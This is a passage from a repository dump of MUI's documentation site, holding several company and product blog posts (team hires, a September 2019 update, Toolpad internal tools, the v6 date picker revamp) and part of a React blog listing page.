Reflections from MUI's leadership\n\nAbove all, this recognition as one of the best fully remote workplaces is a testament to the incredible dedication of our team.\nA company's culture lives in the daily interactions of the people who work there.\nI'm so proud to see ours celebrated for how, together, we've built a highly efficient remote work environment that's able to serve a global community comprising hundreds of thousands of designers and developers.\n\nIt's a reflection of the commitment shared by every MUIer, and proof of the power of remote teams united by shared principles and values.\nCongratulations to all winners!\n\nWhen asked what he'd like to say to MUI employees about this win, Co-founder and CEO Olivier Tassinari said:\n\n> It feels extremely validating to see MUI (and our leadership) recognized in this way! We truly care about doing remote work well, and it's part of why we've scaled so intentionally.\n> What started as an open-source community has grown and evolved into a lean, focused team that's committed to driving the best possible experience for both developers and users.\n> What we've been able to accomplish in the last 5 years as an async, distributed organization fills me with gratitude for our people today and excitement for what's to come in the future.\n\n## Join our thriving remote team from anywhere\n\nMUI is hiring now for always-remote roles.\nWe're looking for people who share our passion for quality, community, and freedom to help us shape the future of new developer tools.\n\nIf our purpose and ways of working resonate with you, we'd love to hear from you!\n\n👉 Visit [our Careers page](/careers/) now.\n"
  },
  {
    "path": "docs/pages/blog/september-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './september-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/september-2019-update.md",
    "content": "---\ntitle: September 2019 Update\ndescription: Here are the most significant improvements in September.\ndate: 2019-10-12T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in September:\n\n- 💄 Add `startIcon` and `endIcon` props for the button. It makes it simpler to append an icon:\n\n  ![button icons](/static/blog/september-2019-update/button-icon.png)\n\n  ```jsx\n  import DeleteIcon from '@mui/icons-material/Delete';\n\n  <Button startIcon={<DeleteIcon />}>Delete</Button>;\n  ```\n\n- 🔐 Add support for Chrome autofill. The `InputBase` component detects Chrome autofill events and updates the label position accordingly.\n\n  ![Autofill](/static/blog/september-2019-update/autofill.png)\n\n- 📊 Launch a Developer Survey as a precursor to a major DatePicker enhancement effort.We plan a new investment batch of between 100 and 500 hours.\n\n- 📚 Change imports from `@mui/styles` to `@mui/material/styles`\n\n  The presence of two almost identical import paths has been a source of confusion: @mui/styles and @mui/material/styles.\n  Starting with v4.5.1, the documentation mentions @mui/material/styles as much as possible.\n\n  ```diff\n  -import { makeStyles } from '@mui/styles';\n  +import { makeStyles } from '@mui/material/styles';\n  ```\n\n  This change removes the need to install the `@mui/styles` package directly.\n  It prevents the duplication of `@mui/styles` in bundles and avoids confusion.\n  You can [learn more about the difference](https://v4.mui.com/styles/basics/#material-ui-core-styles-vs-material-ui-styles) in the documentation.\n\nBut this summary is just scratching the surface. We have accepted 199 commits from 61 different contributors. We have changed 1,219 files with 18,223 additions and 11,957 deletions.\n\n## Our roadmap intent for October\n\n_(We'll do our best, no guarantee!)_\n\n- 🔍 We will provide a ready-to-use autocomplete, combo box, and multi-select components in the lab. You can already [preview it](https://deploy-preview-17037--material-ui.netlify.app/components/autocomplete/).\n\n  ![combobox](/static/blog/september-2019-update/combobox.png)\n  <p class=\"blog-description\">Combo box (limited options)</p>\n\n  ![multiselect](/static/blog/september-2019-update/multiselect.png)\n  <p class=\"blog-description\">Multi-select</p>\n\n  ![autocomplete](/static/blog/september-2019-update/autocomplete.png)\n  <p class=\"blog-description\">Autocomplete (free options)</p>\n\n- 📅 We will start to work on a [major upgrade](https://github.com/mui/material-ui-pickers/issues/1293) of the date/time picker components.\n\n- 🧮 We will start to work on a Data Table component.\n  ⭐️ Notice that the advanced features of the data grid will be paid, behind an enterprise subscription. This is an effort part of [our roadmap](/material-ui/discover-more/roadmap/) to answer enterprise needs.\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/siriwat-kunaporn-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './siriwat-kunaporn-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/siriwat-kunaporn-joining.md",
    "content": "---\ntitle: Siriwat Kunaporn joins MUI\ndescription: We are excited to share that Siriwat Kunaporn has joined MUI.\ndate: 2021-05-17T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Siriwat Kunaporn](https://x.com/siriwatknp) (Jun) has joined MUI.\nHe started a couple of days ago full-time and is part of the core components team.\n\nBefore joining MUI, Jun worked as a software engineer at ThoughtWorks.\nHe has spent the last three years as a full-stack engineer, focusing more on React and the implementation of great-looking UIs. Jun is passionate about creating UIs that feel amazing.\n\nWe were impressed by his previous work on exploring the customization potential of MUI in [MUI Treasury](https://mui-treasury.com/).\nHe's has demonstrated his care of the details and interest in design.\n\nWhile we can't predict the future, Jun will initially help us get Material UI v5 down the finish line.\nThen, he will be focusing almost exclusively on pushing the company further in the design realm.\nWe might start with a [second theme](https://github.com/mui/material-ui/issues/22485), a rebranding, a revamp of the documentation or the implementation of [\"blocks\"](https://deploy-preview-16--material-ui-blocks.netlify.app/).\n\nJun is the second of a series of 5 new positions we have recently opened and filled.\nWe will cross the 10 person milestone in the coming weeks.\nWe have opened these positions as our revenue growth allows.\nThese new roles will help accelerate our mission, strengthen our existing offering, and initiate a new vertical.\n\nWe couldn't be more excited to have Jun on the team!\n"
  },
  {
    "path": "docs/pages/blog/spotlight-damien-tassone.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './spotlight-damien-tassone.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/spotlight-damien-tassone.md",
    "content": "---\ntitle: A spotlight on Damien Tassone joining the team\ndescription: Damien Tassone has joined MUI. He's the first full-time member to focus on enterprise components.\ndate: 2020-09-15T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nA few months ago, right in the middle of the COVID-19 outbreak, [Damien Tassone](https://x.com/madKakoO) joined MUI. He's the first full-time member to focus on enterprise components. Back then, we only made a quick mention of it. It's never too late to introduce him properly.\n\nPrior to joining MUI, Damien worked in the finance industry in London for a decade. Part of the initial Agile Market team at RBS, and more recently leading a large Commodity Trading application at Adaptive, Damien has developed his React experience as part of large projects where Components driven design plays a huge role in successfully delivering applications. He loves TypeScript.\n\nRight from the start, Damien has made fast and significant progress. He has been an amazing addition to the team, and thanks to him, we are on the verge of releasing a new advanced component: the [Data Grid](https://v4.mui.com/components/data-grid).\n\n<img src=\"/static/blog/spotlight-damien-tassone/data-grid.png\" style=\"margin-bottom: 3rem;\" alt=\"Data Grid\" />\n\nThe enterprise team will continue developing the data grid component, and progressively extend to new advanced components as we grow the team. Here's a quick view of [the enterprise roadmap](https://github.com/orgs/mui/projects/35).\n\nYou can follow Damien on [X](https://x.com/madKakoO).\n"
  },
  {
    "path": "docs/pages/blog/toolpad-use-cases.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './toolpad-use-cases.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/toolpad-use-cases.md",
    "content": "---\ntitle: How does MUI use Toolpad?\ndescription: Explore how we use Toolpad for production use cases at MUI.\ndate: 2024-03-04T00:00:00.000Z\nauthors: ['prakhargupta']\nmanualCard: true\ntags: ['Product', 'Toolpad']\n---\n\nToolpad helps full-stack engineers build internal tools quickly.\nInternal tools encompass data-intensive CRUD interfaces, analytics dashboards, or custom apps that make teams productive.\nToolpad offers a low-code, GUI-based, code-friendly way of building apps and comes as an npm package that can be imported into an existing codebase.\n\nWe've been dogfooding [Toolpad Studio](https://mui.com/toolpad/studio/) at MUI to build our internal tools, and it has proven beneficial for us to easily assemble well-organized, centrally located KPI dashboards and operations apps.\nIn this blog post, we'll discuss four such apps, and explain how we used Toolpad to turn our ideas into reality.\n\n<a href=\"https://tools-public.mui.com/prod/pages/OverviewPage\">\n  <img alt=\"MUI public app for tracking KPIs\" src=\"/static/blog/toolpad-use-cases/tools-public.png\" width=\"2400\" height=\"1394\" />\n</a>\n\n## Problems tackled through Toolpad\n\nOur internal tooling is easier to use and less prone to errors now; before we built these apps, some of these necessary functions were no more than a set of instructions in a Google doc or on Notion.\nA user had to log into multiple services to manage their day-to-day chores. Now, one interface does it all.\nWe utilized Pipedream, Metabase, Google Sheets, and other tools to streamline our day-to-day operations.\nThis meant we had distributed code in multiple places, accessible to only a few.\nNow we have everything on GitHub and collaboration is much simpler.\n\nLet's delve into four scenarios that Toolpad has successfully addressed:\n\n## 1. Support key validator\n\nWe offer a priority support service to our MUI X Premium customers: their queries get an expedited response within 24 hours.\nThey share their issue through a Priority Support template in our repository where they're directed to validate their license key, and once it's validated, the 24-hour countdown starts.\n\n<a href=\"https://tools-public.mui.com/prod/pages/validateSupport\">\n  <img alt=\"Premium key validator support app\" src=\"/static/blog/toolpad-use-cases/validate-support.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n</a>\n\nHere's how we built an app for this:\n\nThe [`updateMuiPaidSupport.ts`](https://github.com/mui/mui-public/blob/master/tools-public/toolpad/resources/updateMuiPaidSupport.ts) file hosts all functions that are called from Toolpad.\nIt uses the [custom function](https://mui.com/toolpad/studio/concepts/custom-functions/) feature and combines GitHub Actions, Google Sheets, and Octokit to read and verify user information.\nThe fetched data is then bound to the UI components.\nIt uses Toolpad's [page parameters](https://mui.com/toolpad/studio/concepts/page-properties/#page-parameters), [secrets handling](https://mui.com/toolpad/studio/concepts/custom-functions/#secrets-handling), [shell removal](https://mui.com/toolpad/studio/concepts/page-properties/#display-mode), and custom styling features.\nThis app took one developer just a few hours to build which otherwise would have taken much longer.\n\n## 2. Customer support KPI tracker\n\nThe read-only page illustrated below uses [HTTP requests](https://mui.com/toolpad/studio/concepts/http-requests/) for its data source.\nThrough the query builder UI we fetch the 100 latest support tickets from Zendesk to calculate the average time it takes us to respond to and resolve customer requests.\nIt uses a [custom component](https://mui.com/toolpad/studio/concepts/custom-components/) which we call the \"health badge.\"\nBased on the metric value, the component shows three color-coded states: Problem (red), Warning (yellow), and OK (green).\nOther KPI pages also use this health badge and pre-built Chart components to compare stats, observe trends, and spot anomalies.\n\nThe video below demonstrates the usage of this app in dev mode:\n\n<video controls width=\"100%\" height=\"auto\" alt=\"zendesk first reply in devmode\">\n  <source src=\"/static/blog/toolpad-use-cases/zendesk-first-reply-dev.mp4\" type=\"video/mp4\">\nYour browser does not support the video tag.\n</video>\n\nWe opted for Toolpad since Metabase doesn't support importing data from REST APIs.\nThis is possible in Google Sheets but it requires writing a lot of JavaScript code, and since we wanted to embed it in a [Notion page](https://mui-org.notion.site/KPIs-1ce9658b85ce4628a2a2ed2ae74ff69c?pvs=4#3974cb6ed12b4c5a9013bac63113e3bc), Toolpad was the ideal choice.\nToolpad handles state management and routing, and simplifies query building and data binding, removing the need to write glue code.\n\nYou can explore both of the aforementioned apps in dev mode on your device by running the underlying [Node application](https://github.com/mui/mui-public/tree/HEAD/tools-public).\nThe next two apps discussed are internal to MUI.\n\n## 3. Manage overdue invoices\n\nWe have an internal operations process to remind customers about overdue invoices: reminder emails are sent out at regular intervals following the due date.\nIn the Toolpad app, the operations team can view a table of all customers who need to be contacted.\nThey select one, email them from Zendesk, and update the status to `CONTACTED`, which is then written back to the database.\nThis is a private app for internal use that can't be shared, but the following video gives a quick demo:\n\n<video controls width=\"100%\" height=\"auto\" alt=\"overdue invoice page\">\n  <source src=\"/static/blog/toolpad-use-cases/overdue-invoice.mp4\" type=\"video/mp4\">\n  Your browser does not support the video tag.\n</video>\n\nBefore this, we relied on a combination of Metabase and Google Sheets to fetch and edit records—but this was cumbersome to operate and sometimes caused data inconsistency issues.\nThanks to Toolpad we've managed to bring it all under one roof, dramatically improving our operations team's efficiency and productivity.\n\n## 4. Contributor payout\n\nWe have a script to fetch monthly payout data for contributors to the MUI Store.\nOur operations team is responsible for paying contributors, but the script proved too technically challenging for them to run without help from our engineers.\nWe solved this problem by importing the script into Toolpad and creating a UI for it.\nThe video below shows how a user can select the dates, run the script, and receive text that's properly formatted to copy and paste directly into Slack communications:\n\n<video controls width=\"100%\" height=\"auto\" alt=\"contributor payout page\">\n  <source src=\"/static/blog/toolpad-use-cases/contributor-payout.mp4\" type=\"video/mp4\">\n  Your browser does not support the video tag.\n</video>\n\n## Conclusion\n\nAs you've seen, at MUI we have streamlined our internal tooling through Toolpad, helping us stay lean and move fast.\nInternal apps are often very specific to the needs of the organization, but hopefully, you've been inspired by some of our use cases here:\n\n- Have you come across any similar needs within your org regarding operations, administration, or analytics?\n- Do you have existing code that you wish you could reuse in a low-code builder instead of starting fresh?\n- Do you wish you didn't have to do any maintenance on the front ends of your internal tools?\n\nToolpad handles state management, data fetching, routing, and UI creation, and it can be imported directly into your code base to save you time.\nI encourage you to check out more [examples](https://mui.com/toolpad/studio/examples/) and visit the [GitHub repository](https://github.com/mui/toolpad/) to evaluate the product.\nIn case you need any further information, feel free to reach out to the team at toolpad@mui.com.\n"
  },
  {
    "path": "docs/pages/blog/v6-beta-pickers.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './v6-beta-pickers.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/v6-beta-pickers.md",
    "content": "---\ntitle: Date and Time Pickers revamped\ndescription: Check out the new features coming in v6 beta.\ndate: 2023-01-22T00:00:00.000Z\nauthors: ['josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nThere's a lot of exciting news in [MUI X v6.0.0-beta.0](https://github.com/mui/mui-x/releases/v6.0.0-beta.0), but there's hardly anything comparable to the revamp we're delivering for the Date and Time Pickers.\n\nThis is the result of our ongoing efforts to improve the usability and customizability of these components.\nWe kept the best aspects of the previous versions, and we're fleshing out the package with [new documentation](https://next.mui.com/x/react-date-pickers/), major new features, and one fundamental change: a new input type to replace the masked text fields.\n\n## The new date and time fields\n\nThese new input components are called [Fields](https://next.mui.com/x/react-date-pickers/fields/), and they provide massive improvements to the experience of editing the value with a keyboard.\n\nThe previous generation of pickers, whose text input is based on a [mask approach](https://www.npmjs.com/package/rifm), are often cumbersome and fall flat on edge cases as well simple cases like modifying dates.\n\nFor example, watch what happens when we edit the month on this masked input:\n\n<video style=\"width: 608px;\" autoplay muted loop playsinline width=\"1216\" height=\"310\">\n  <source src=\"/static/blog/v6-beta-pickers/masked-input-bad-ux.mp4\" type=\"video/mp4\" />\n</video>\n\nAs you can notice, the day and year leak to the previous sections of the date, presenting a serious challenge to usability.\n\nIn contrast, the new fields are specialized in editing date and time values.\nThey recognize the values on the input (day, month, year, etc.) and respond accordingly.\n\n<video style=\"width: 608px;\" autoplay muted loop playsinline width=\"1216\" height=\"310\">\n  <source src=\"/static/blog/v6-beta-pickers/basic-date-field.mp4\" type=\"video/mp4\" />\n</video>\n\nThe Fields are included in the pickers, but they're also available as standalone components.\nYou can import them from the latest v6 package.\n\n```jsx\nimport { DateField } from '@mui/x-date-pickers/DateField';\n\n<DateField label=\"My first field\" />;\n```\n\nThey're by default used in the new Pickers (you don't need to declare a text field anymore).\n\n```jsx\nimport { DatePicker } from '@mui/x-date-pickers/DatePicker';\n\n<DatePicker label=\"My first v6 picker\" />;\n```\n\n## Enhanced keyboard usability\n\nWith the new Fields, the keyboard interaction is a first-class experience.\nNot only can you type the date as text, but you can also use arrow keys to navigate and edit date and time values.\n\n<video style=\"width: 608px;\" autoplay muted loop playsinline width=\"1216\" height=\"310\">\n  <source src=\"/static/blog/v6-beta-pickers/date-field-navigation.mp4\" type=\"video/mp4\" />\n</video>\n\nFor a quick comparison, let's check out how the old and new approaches behave in typical scenarios.\n\n<video autoplay muted loop playsinline width=\"1920\" height=\"1080\">\n  <source src=\"/static/blog/v6-beta-pickers/quick-comparison-fields.mp4\" type=\"video/mp4\" />\n</video>\n\nMoreover, notice in the following example that as we edit the day, the component automatically navigates only in valid values.\n\n<video style=\"width: 608px;\" autoplay muted loop playsinline width=\"1216\" height=\"274\">\n  <source src=\"/static/blog/v6-beta-pickers/smart-field-stable.mp4\" type=\"video/mp4\" />\n</video>\n\n:::info\n**Behavior change alert**\n\nDuring pre-releases, using <kbd class=\"key\">Arrow Up</kbd> and <kbd class=\"key\">Arrow Down</kbd> to update a date section would essentially update the entire field like you were navigating the calendar.\nIn the previous example, updating the day value from 28 to 1 would also update the month to March.\n\nOn the stable version, released after the original post, each date section is independent.\nThis behavior [has been changed](https://github.com/mui/mui-x/issues/7934) to be more consistent with native implementations.\n:::\n\nPlease, try it out for yourself in the live demo below.\n\n<iframe\n  src=\"https://codesandbox.io/embed/date-field-demo-pb87v0?fontsize=12&hidenavigation=1&module=%2F\"\n  style=\"width:100%; height:200px; border:0; border-radius: 4px; overflow:hidden;\"\n  allow=\"accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking\"\n  sandbox=\"allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts\"\n></iframe>\n\n### Fields roadmap\n\nThe Fields are still in beta, and there are many improvements on the way.\nThe following list describes some of the most notable features planned.\n\n- **[Smart pasting](https://github.com/mui/mui-x/issues/7253)** \\\n  Date strings pasted in Fields will be parsed and matched with the sections of the date.\n- **[Support days of the week](https://github.com/mui/mui-x/issues/7254)** \\\n  Users will be able to select a day in the week just like the can select a month.\n\nWe'd love to hear your [feedback](https://github.com/mui/mui-x/issues/new/choose) to help us improve these components even further.\n\n## Other significant improvements\n\nNow that you've seen what's fundamentally changed with the Pickers, let's briefly review some other noteworthy improvements.\n\n- **[Customization of layout and internal components](https://next.mui.com/x/react-date-pickers/custom-layout/)** \\\n  Combining the concept of slots with the grid layout, you now can rearrange, extend, and customize most of the components used internally by the Pickers' views.\n- **Default render input**\\\n  You don't need to provide the usual `TextField` on `renderInput` anymore unless you need it customized.\n  In which case you can do it by:\n  1. Customizing through props via `field` and `input` slots ([codebox example](https://codesandbox.io/p/sandbox/customizing-fields-with-props-o66r1c?file=/demo.tsx)).\n  2. Build a new field component using the Field's headless API (documentation coming soon).\n  3. Use an entirely [custom text field](https://next.mui.com/x/react-date-pickers/date-picker/#custom-input-component) to suit your use case.\n\n- **Drag to edit**\\\n  Editing a date range is even easier now with the new drag-and-drop interface. Change `start` and `end` dates at will.\n  <video autoplay muted loop playsinline width=\"1488\" height=\"796\">\n    <source src=\"/static/blog/v6-beta-pickers/edit-drag.mp4\" type=\"video/mp4\" />\n  </video>\n- **Range shortcuts** (available from v6.0.0-beta.1)\\\n  Add quick and customizable shortcuts for your users. Choose to display them on the left, right, bottom or top.\n  <img src=\"/static/blog/v6-beta-pickers/date-range-shortcuts.png\" loading=\"lazy\" alt=\"Date Range shortcuts.\" width=\"2222\" height=\"1402\" />\n\n## Should we retire the masked inputs?\n\nWe believe that after using the date fields, you'll have no reason to come back to the masked input approach.\nIt has a few irreparable usability issues, and it sets some hard limits on what we can do with the input.\n\nOur plan is to replace them entirely, but you can help us steer our roadmap.\n\nIf you want to voice your opinions or get involved, please consider scheduling a [user interview](https://forms.gle/7uq8PzE26FgwkPs46) with us.\n\nAs always, you can get in touch by opening new bug reports or feature requests in our [GitHub repository](https://github.com/mui/mui-x/issues/new/choose).\n"
  },
  {
    "path": "docs/pages/blog.tsx",
    "content": "import * as React from 'react';\nimport { InferGetStaticPropsType } from 'next';\nimport { useRouter } from 'next/router';\nimport Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport Pagination from '@mui/material/Pagination';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowRightRoundedIcon from '@mui/icons-material/KeyboardArrowRightRounded';\nimport Chip from '@mui/material/Chip';\nimport XIcon from '@mui/icons-material/X';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport YouTubeIcon from '@mui/icons-material/YouTube';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport { authors as AUTHORS } from 'docs/src/modules/components/TopLayoutBlog';\nimport HeroEnd from 'docs/src/components/home/HeroEnd';\nimport { Link } from '@mui/docs/Link';\nimport generateRssFeed from 'docs/scripts/generateRSSFeed';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport { getAllBlogPosts, BlogPost } from 'docs/lib/sourcing';\n\nexport const getStaticProps = () => {\n  const data = getAllBlogPosts();\n  generateRssFeed(data.allBlogPosts);\n  return {\n    props: data,\n  };\n};\n\nfunction PostPreview(props: BlogPost) {\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', gap: 0.5, mb: 1.5 }}>\n        {props.tags.map((tag) => (\n          <Chip\n            key={tag}\n            label={tag}\n            size=\"small\"\n            variant=\"outlined\"\n            color=\"primary\"\n            sx={(theme) => ({\n              height: 22,\n              fontWeight: 'medium',\n              fontSize: theme.typography.pxToRem(13),\n              '& .MuiChip-label': {\n                px: '6px',\n              },\n              ...theme.applyDarkStyles({\n                color: (theme.vars || theme).palette.grey[200],\n              }),\n            })}\n          />\n        ))}\n      </Box>\n      <Typography component=\"h2\" variant=\"subtitle1\" gutterBottom sx={{ fontWeight: 'bold' }}>\n        <Link\n          aria-describedby={`describe-${props.slug}`}\n          href={`/blog/${props.slug}/`}\n          sx={{\n            color: 'text.primary',\n\n            '&:hover': {\n              textDecoration: 'underline',\n            },\n          }}\n        >\n          {props.title}\n        </Link>\n      </Typography>\n      <Typography sx={{ color: 'text.secondary', mb: 'auto' }}>{props.description}</Typography>\n      {props.authors && (\n        <AvatarGroup\n          sx={(theme) => ({\n            mt: 2,\n            mb: 1,\n            alignSelf: 'flex-start',\n            '& .MuiAvatar-circular': {\n              width: 28,\n              height: 28,\n              fontSize: theme.typography.pxToRem(13),\n              fontWeight: theme.typography.fontWeightSemiBold,\n              color: (theme.vars || theme).palette.text.primary,\n              border: `1px solid ${(theme.vars || theme).palette.divider}`,\n              outline: '3px solid',\n              outlineColor: '#FFF',\n              backgroundColor: (theme.vars || theme).palette.grey[100],\n            },\n            ...theme.applyDarkStyles({\n              '& .MuiAvatar-circular': {\n                outlineColor: (theme.vars || theme).palette.primaryDark[900],\n                backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n              },\n            }),\n          })}\n        >\n          {(props.authors as Array<keyof typeof AUTHORS>).map((author) => (\n            <Avatar\n              key={author}\n              alt=\"\"\n              src={`${AUTHORS[author].avatar}?s=${28}`}\n              srcSet={`${AUTHORS[author].avatar}?s=${28 * 2} 2x, ${AUTHORS[author].avatar}?s=${\n                28 * 3\n              } 3x`}\n            />\n          ))}\n        </AvatarGroup>\n      )}\n      <Box\n        sx={{\n          display: { sm: 'block', md: 'flex' },\n          justifyContent: 'space-between',\n          alignItems: 'end',\n        }}\n      >\n        <Box sx={{ position: 'relative' }}>\n          {props.authors && (\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              {props.authors\n                .slice(0, 3)\n                .map((userId) => {\n                  const name = AUTHORS[userId as keyof typeof AUTHORS]?.name;\n                  if (name) {\n                    if (props.authors && props.authors.length > 1) {\n                      // display only firstName\n                      return name.split(' ')[0];\n                    }\n                    return name;\n                  }\n                  return userId;\n                })\n                .join(', ')}\n              {props.authors.length > 2 && ', and more.'}\n            </Typography>\n          )}\n          {props.date && (\n            <Typography variant=\"caption\" sx={{ fontWeight: 'regular', color: 'text.tertiary' }}>\n              {new Date(props.date).toDateString()}\n            </Typography>\n          )}\n        </Box>\n        <Button\n          component={Link}\n          aria-describedby={`describe-${props.slug}`}\n          href={`/blog/${props.slug}`}\n          id={`describe-${props.slug}`}\n          endIcon={<KeyboardArrowRightRoundedIcon />}\n          size=\"small\"\n          sx={{ mt: { xs: 0.5, md: 0 }, p: { xs: 0, sm: '6px 8px' } }}\n        >\n          Read more\n        </Button>\n      </Box>\n    </React.Fragment>\n  );\n}\n\nconst PAGE_SIZE = 7;\n\nexport default function Blog(props: InferGetStaticPropsType<typeof getStaticProps>) {\n  const router = useRouter();\n  const postListRef = React.useRef<HTMLDivElement>(null);\n  const [page, setPage] = React.useState(0);\n  const [selectedTags, setSelectedTags] = React.useState<Record<string, boolean>>({});\n  const { allBlogPosts, tagInfo: rawTagInfo } = props;\n  const [firstPost, secondPost, ...otherPosts] = allBlogPosts;\n  const tagInfo = { ...rawTagInfo };\n  [firstPost, secondPost].forEach((post) => {\n    post.tags.forEach((tag) => {\n      if (tagInfo[tag]) {\n        tagInfo[tag]! -= 1;\n      }\n    });\n  });\n  Object.entries(tagInfo).forEach(([tagName, tagCount]) => {\n    if (tagCount === 0) {\n      delete tagInfo[tagName];\n    }\n  });\n  const filteredPosts = otherPosts.filter((post) => {\n    if (Object.keys(selectedTags).length === 0) {\n      return true;\n    }\n\n    return post.tags.some((tag) => {\n      return Object.keys(selectedTags).includes(tag);\n    });\n  });\n  const pageStart = page * PAGE_SIZE;\n  const totalPage = Math.ceil(filteredPosts.length / PAGE_SIZE);\n  const displayedPosts = filteredPosts.slice(pageStart, pageStart + PAGE_SIZE);\n  const getTags = React.useCallback(() => {\n    const { tags = '' } = router.query;\n    return (typeof tags === 'string' ? tags.split(',') : tags || [])\n      .map((str) => str.trim())\n      .filter((tag) => !!tag);\n  }, [router.query]);\n\n  React.useEffect(() => {\n    const arrayTags = getTags();\n    const finalTags: Record<string, boolean> = {};\n    arrayTags.forEach((tag) => {\n      finalTags[tag] = true;\n    });\n    setSelectedTags(finalTags);\n    setPage(0);\n  }, [getTags]);\n\n  const removeTag = (tag: string) => {\n    router.push(\n      {\n        query: {\n          ...router.query,\n          tags: getTags().filter((value) => value !== tag),\n        },\n      },\n      undefined,\n      { shallow: true },\n    );\n  };\n\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Blog - MUI\"\n        description=\"Follow the MUI blog to learn about new product features, latest advancements in UI development, and business initiatives.\"\n        card=\"/static/social-previews/blog-preview.jpg\"\n        disableAlternateLocale\n      />\n      <AppHeader />\n      <main id=\"main-content\">\n        <Section cozy bg=\"gradient\">\n          <SectionHeadline\n            alwaysCenter\n            overline=\"Blog\"\n            title={\n              <Typography variant=\"h2\" component=\"h1\">\n                Stay <GradientText>in the loop</GradientText> with\n                <br /> the latest about MUI&apos;s products\n              </Typography>\n            }\n          />\n        </Section>\n        <Divider />\n        <Container sx={{ mt: { xs: 2, sm: -6 } }}>\n          <Box\n            component=\"ul\"\n            sx={{\n              display: 'grid',\n              m: 0,\n              p: 0,\n              gap: 2,\n              gridTemplateColumns: 'repeat(auto-fit, minmax(300px, 1fr))',\n            }}\n          >\n            {[firstPost, secondPost].map((post) => (\n              <Paper\n                key={post.slug}\n                component=\"li\"\n                variant=\"outlined\"\n                sx={(theme) => ({\n                  p: 2,\n                  display: 'flex',\n                  flexDirection: 'column',\n                  backgroundImage: (theme.vars || theme).palette.gradients.radioSubtle,\n                  boxShadow: '0 4px 12px rgba(170, 180, 190, 0.2)',\n                  ...theme.applyDarkStyles({\n                    background: (theme.vars || theme).palette.primaryDark[900],\n                    backgroundImage: (theme.vars || theme).palette.gradients.radioSubtle,\n                    boxShadow: '0 4px 12px rgba(0, 0, 0, 0.4)',\n                  }),\n                })}\n              >\n                {post.image && (\n                  <Box\n                    component=\"img\"\n                    src={post.image}\n                    sx={{\n                      aspectRatio: '16 / 9',\n                      width: '100%',\n                      height: 'auto',\n                      objectFit: 'cover',\n                      borderRadius: '4px',\n                    }}\n                  />\n                )}\n                <PostPreview {...post} />\n              </Paper>\n            ))}\n          </Box>\n        </Container>\n        <Container\n          ref={postListRef}\n          sx={{\n            py: { xs: 4, sm: 6, md: 8 },\n            mt: -6,\n            display: 'grid',\n            gridTemplateColumns: { md: '1fr 380px' },\n            columnGap: 8,\n          }}\n        >\n          <Typography\n            component=\"h2\"\n            variant=\"h6\"\n            sx={{ fontWeight: 'semiBold', mb: { xs: 1, sm: 2 }, mt: 8 }}\n          >\n            Posts{' '}\n            {Object.keys(selectedTags).length ? (\n              <span>\n                tagged as{' '}\n                <Typography component=\"span\" variant=\"inherit\" color=\"primary\" noWrap>\n                  &quot;{Object.keys(selectedTags)[0]}&quot;\n                </Typography>\n              </span>\n            ) : (\n              ''\n            )}\n          </Typography>\n          <Box sx={{ gridRow: 'span 2' }}>\n            <Box\n              sx={{\n                position: 'sticky',\n                top: 90,\n                mt: { xs: 0, md: 9 },\n                mb: { xs: 2, md: 0 },\n                display: 'flex',\n                flexDirection: 'column',\n                gap: 2,\n                '& .MuiPaper-root': {\n                  p: 2,\n                  bgcolor: 'transparent',\n                  borderColor: 'divider',\n                },\n              }}\n            >\n              <Paper variant=\"outlined\">\n                <Typography\n                  component=\"h3\"\n                  variant=\"subtitle2\"\n                  sx={{ color: 'text.primary', fontWeight: 'semiBold', mb: 2 }}\n                >\n                  Filter posts by tag\n                </Typography>\n                <Box 